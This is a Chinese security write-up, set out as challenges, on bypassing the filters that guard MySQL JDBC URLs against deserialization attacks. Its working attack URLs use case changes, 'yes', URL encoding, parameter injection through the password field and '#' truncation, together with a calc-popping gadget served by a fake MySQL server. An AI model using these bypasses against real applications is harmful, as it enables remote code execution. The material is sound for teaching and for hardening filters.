0x01 介绍
早在去年,我们团队(Y4Sec Team)在研究 JDBC Attack 时,发现了一些可能的绕过情况,注意哈,这里的绕过不是新姿势,而是一些针对性修复补丁的绕过思路,例如针对 autoDeserialize 的各种过滤和绕过。但是指导我们的师傅不建议公开,最近征求师傅同意我对外公开这些内容,所以有了这篇文章
在编写本文之前,我有搜索过师傅们博客,星球等内容。发现大多数内容在今年已有其他师傅公开,例如三月份 心心 师傅在星球有公开过类似的内容;其他师傅的博客中似乎也看到过类似的。感谢师傅们的文章,本文目的是做一个合集,对于各种绕过导致的 CVE 姿势做一个总结和学习
这里仅考虑 MySQL 驱动里的一些绕过姿势,对于其他类型的数据库,应该存在类似的思路和手法
我计划做成一种类似于挑战和关卡的模式,给出多个例子,一步一步地从最简单的绕过到复杂的场景以及逻辑漏洞
0x02 基础介绍
对于 JDBC Attack 的内容,这里不做太多介绍,在先知跳跳糖等多处有各位师傅们的精彩内容。简单来说,如果 JDBC 的 URL 可控,那么连接客户端将可能连接到恶意的服务端,进而导致反序列化漏洞
年初花了一些时间从头构造 MySQL 协议,写了一版纯 Java 的 Fake MySQL Server 工具,优点是支持了 GUI 且容易集成多种 Gadget 链。个人认为比 Python 版本更容易上手一些,感谢 fnmsd 师傅代码提供的思路。本文将以该工具为基础
https://github.com/4ra1n/mysql-fake-server
为了测试,我们创建一个新的项目,引入 MySQL 6.x 驱动,以及最新版本的 Commons Beanutils 作为 Gadget 链测试
(为什么选择 6.x 驱动:当时没想太多,测试后发现和 8.x 有一些小细节差距,导致了一些绕过仅在 8.x 可用,这个问题下文我们讨论)
`<dependencies>` `<dependency>` `<groupId>mysql</groupId>` `<artifactId>mysql-connector-java</artifactId>` `<version>6.0.2</version>` `</dependency>` `<dependency>` `<groupId>commons-beanutils</groupId>` `<artifactId>commons-beanutils</artifactId>` `<version>1.9.4</version>` `</dependency>` `</dependencies>`
接下来我们写一个最简单的测试类,模拟第一种场景,直接读取 URL 并连接,后续每一个例子都会新建一个 Application 类
`public class Application1 {` `public static void connection(String url){` `try {` `Class.forName("com.mysql.cj.jdbc.Driver");` `DriverManager.getConnection(url);` `} catch (Exception e) {` `e.printStackTrace();` `}` `}``}`` `
使用如下的输入测试,后续每一个测试都会新建 Example 类
`public class Example1 {` `public static void main(String[] args) {` `String addr = "127.0.0.1:62787";` `String params = "detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe";` `String url = String.format( "jdbc:mysql://%s/test?%s",addr,params);`` ` `Application1.connection(url);` `}``}`` `
运行后可以发现直接弹出了计算器
0x03 绕过1
篇幅有限,本文只展示核心代码,完整代码在 Y4SecTeam 中
https://github.com/Y4Sec-Team/mysql-jdbc-tricks
另外,恶意 JDBC 参数有很多,这里只以 autoDeserialize 为例,其他的参数绕过思路大同小异
`for (Map.Entry<String,String> p: params.entrySet()){` `if (p.getKey().equals("autoDeserialize")) {` `if(p.getValue().equals("true")){` `return false;` `}` `}``}`
以上代码的限制,大家可以思考下如何绕过
其实很简单,大小写绕过,这是安全测试中基础的常见的内容
使用 tRue TRuE 等等参数即可
`addr = "127.0.0.1:62787";``params = "detectCustomCollations=true&autoDeserialize=tRue&user=deser_CB_calc.exe";``url = String.format("jdbc:mysql://%s/test?%s", addr, params);`` ``Application2.connection(url);`
绕过的原理参考下图,使用了 equalsIgnoreCase 比较
com/mysql/cj/core/conf/BooleanPropertyDefinition
0x04 绕过2
第二个绕过案例如下,加入了大小写判断
`for (Map.Entry<String,String> p: params.entrySet()){` `if (p.getKey().equals("autoDeserialize")) {` `String value = p.getValue();` `value = value.toLowerCase();` `if(value.equals("true")){` `return false;` `}` `}``}`
大家可以尝试思考,是否有办法绕过?
这个答案在绕过1的截图中已经出现了,答案是:使用 yes 关键字
`return `` Boolean.valueOf(value.equalsIgnoreCase("TRUE") `` || value.equalsIgnoreCase("YES"));`
在 MySQL 驱动中,认为 yes 和 true 等价
所以最后的绕过代码如下
`addr = "127.0.0.1:62787";``params = "detectCustomCollations=true&autoDeserialize=yes&user=deser_CB_calc.exe";``url = String.format("jdbc:mysql://%s/test?%s", addr, params);`` ``Application3.connection(url);`
对于使用 yes 绕过导致的 CVE 应该是有一个或两个
另外值得一提的是:据说低版本驱动还有1和0两种,这里未测试
0x04 绕过3
现在我们同时过滤了 true 和 yes 且考虑了大小写,如何绕过
`for (Map.Entry<String, String> p : params.entrySet()) {` `if (p.getKey().equals("autoDeserialize")) {` `String value = p.getValue();` `value = value.toLowerCase();` `if (value.equals("true") || value.equals("yes")) {` `return false;` `}` `}``}`
这种情况已经比较严格了,师傅们有思路吗?
使用 URL 编码即可 %74%72%75%65
`addr = "127.0.0.1:62787";``params = "detectCustomCollations=true&autoDeserialize=%74%72%75%65&user=deser_CB_calc.exe";``url = String.format("jdbc:mysql://%s/test?%s", addr, params);`` ``Application4.connection(url);`
0x05 可能安全?
作为开发者,我们现在被白帽子们的绕过搞的头皮发麻,于是现在按照标准 URL 处理字符串,这里会自动解码,然后再过滤 yes 和 true 选项
`URI uri = new URI(jdbcUrl.replace("jdbc:", ""));`` ``String host = uri.getHost();``int port = uri.getPort();``String path = uri.getPath();``String dbname = path.substring(1);`` ``Map<String, String> params = new HashMap<>();``String query = uri.getQuery();``if (query != null) {` `String[] pairs = query.split("&");` `for (String pair : pairs) {` `String[] keyValue = pair.split("=");` `String key = keyValue[0];` `String value = keyValue.length > 1 ? keyValue[1] : "";` `params.put(key, value);` `}``}`` ``for (Map.Entry<String, String> p : params.entrySet()) {` `if (p.getKey().equals("autoDeserialize")) {` `String value = p.getValue();` `value = value.toLowerCase();` `if (value.equals("true") || value.equals("yes")) {` `return false;` `}` `}``}`` ``return true;`
是否还会存在绕过呢?
师傅们可以思考
0x06 绕过4
以上是一种 URL 完全可控的情况,实际上真实的场景中,更多见的是类似下图的情况,例如下图:用户可控的是 HOST 用户名 密码 数据库名 以及自定义的连接字符串。对于这种场景有另外的一些绕过姿势
于是有了绕过4的代码,这段代码的逻辑很简单,校验输入的额外的 jdbc 连接参数中,是否包含了 autoDeserialize 关键字(这里暂不考虑URL编码的问题)对于这种场景师傅们有没有想到一些思路?
`public static void connection(String addr,String user,String db,String password,String extra) {` `try {` `String url = String.format("jdbc:mysql://%s/%s?",addr,db);`` ` `StringBuilder sb = new StringBuilder();` `sb.append("user=");` `sb.append(user);` `sb.append("&");` `sb.append("password=");` `sb.append(password);`` ` `if (!check(extra)){` `System.out.println("you are hacker");` `return;` `}`` ` `if (!extra.equals("")){` `sb.append("&");` `sb.append(extra);` `}`` ` `url = url + sb;`` ` `System.out.println(url);`` ` `Class.forName("com.mysql.cj.jdbc.Driver");` `DriverManager.getConnection(url);` `} catch (Exception e) {` `e.printStackTrace();` `}``}`` ``private static boolean check(String params){` `try {` `return !params.contains("autoDeserialize");` `} catch (Exception e) {` `e.printStackTrace();` `return false;` `}``}`
思路大致是这样:
最终是一定拼接了一个字符串
`StringBuilder sb = new StringBuilder();``sb.append("user=");``sb.append(user);``sb.append("&");``sb.append("password=");``sb.append(password);`
其中的 user 和 password 是可控的,如果这两个字段没有过滤,这里将会存在一种类似于 SQL 注入 漏洞的问题,可以注入恶意参数
`// 可控内容``String addr = "127.0.0.1:62787";``String user = "deser_CB_calc.exe";``String password = "test&autoDeserialize=true";``String db = "test";``String extra = "detectCustomCollations=true&";`` ``Application7.connection(addr,user,db,password,extra);`
成功弹出计算器
最终拼接的 URL 是
jdbc:mysql://127.0.0.1:62787/test?user=deser_CB_calc.exe&password=test&autoDeserialize=true&detectCustomCollations=true&
0x07 绕过5
接下来讨论另外一种修复情况:强行末尾添加 autoDeserialize=false 的修复方案。这种参数解析的逻辑,一般都是新参数覆盖旧参数,如果之前定义了 autoDeserialize=true 的情况,添加 autoDeserialize=false 是可以覆盖的。某开源项目曾经选择了这种办法处理
`if (url.endsWith("?")) {` `url = url + sb + "autoDeserialize=false";``} else {` `url = url + sb + "&autoDeserialize=false";``}`
这种办法的绕过可能一般情况下难以想到,但是结合 URL 特性,其中 # 符号是锚点,也可以理解为注释符,将可以注释掉后续的内容
而这里又存在 MySQL 驱动的细节问题,例如在 6.0.2 的驱动中必须这样写才可以使 # 号注释掉强行添加的内容(必须以&结尾再注释)
autoDeserialize=true&#autoDeserialize=false
而在 8.x 中,直接使用一个 # 号即可
autoDeserialize=true#autoDeserialize=false
无论 # 号后是否包含了 & 符号,完全不会生效
关于这个问题,我猜测 6.0.2 中,参数是按照 & 进行分割和匹配的,遇到 # 符号认为仍然在读取 value 信息,而不是读取结束。然后读取的值无法匹配合法值,导致报错和失效
调试发现的确如此,这应该是 MySQL 驱动自己的 BUG 在高版本修复了
该问题也曾经有过 CVE 漏洞
0x08 绕过6
最后一关,但不一定是最难的一关
我过滤了所有的参数,user password 等内容中都不能包含恶意参数
`String url = String.format("jdbc:mysql://%s/%s?", addr, db);`` ``StringBuilder sb = new StringBuilder();``sb.append("user=");``sb.append(check(user));``sb.append("&");``sb.append("password=");``sb.append(check(password));`` ``if (!extra.equals("")) {` `sb.append("&");` `sb.append(check(extra));``}`` ``url = url + sb;`` ``System.out.println(url);`` ``Class.forName("com.mysql.cj.jdbc.Driver");``DriverManager.getConnection(url);`
可以发现,这里还有两处内容可控:
- addr
- db
之所以这个案例放在最后,因为它需要上一个案例的知识:注释特性,无论 addr 还是 db 可控,都会导致存在一长串非法字符串,这样的字符串需要进行处理否则会报错。处理的办法最简单最直接的是:使用 # 号(可能存在其他的办法,我没有做深入研究)
`String addr = "127.0.0.1:62787/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe&#";``String user = "deser_CB_calc.exe";``String password = "test";``String db = "test";``String extra = "";`` ``Application9.connection(addr,user,db,password,extra);`
最终这个案例的 URL 是
jdbc:mysql://127.0.0.1:62787/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe&#/test?user=deser_CB_calc.exe&password=test
我使用了 # 号注释掉 /test? 之后的所有内容,成功弹出计算器
0x08 结束
今天的挑战结束,希望大家可以学到新知识
完整代码在 Y4Sec Team 的仓库中: